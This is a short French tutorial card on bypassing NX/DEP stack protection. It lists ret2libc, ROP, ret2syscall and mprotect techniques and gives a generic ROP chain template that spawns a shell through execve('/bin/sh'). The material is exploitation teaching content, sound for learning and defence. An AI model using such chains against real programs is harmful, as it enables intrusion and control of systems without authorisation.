NX Bypass — Contourner la pile non exécutable
★★★★★
NX / DEP
NX (No-eXecute, ou DEP) marque la pile et le tas comme non exécutables : impossible d'y faire tourner du shellcode. Le contournement consiste à réutiliser du code existant plutôt que d'en injecter.
Approches
# 1. ret2libc : appeler system("/bin/sh")
# 2. ROP : enchaîner des gadgets pour exécuter une syscall
# 3. ret2syscall : préparer les registres + 'syscall'
# (execve("/bin/sh",0,0) = rax=59, rdi=binsh, rsi=rdx=0)
# 4. mprotect via ROP : rendre une zone exécutable, puis y sauter ret2syscall (exemple)
# Gadgets nécessaires : pop rax;ret / pop rdi;ret /
# pop rsi;ret / pop rdx;ret / syscall;ret
rop = p64(pop_rax)+p64(59)
rop += p64(pop_rdi)+p64(binsh)
rop += p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)
rop += p64(syscall)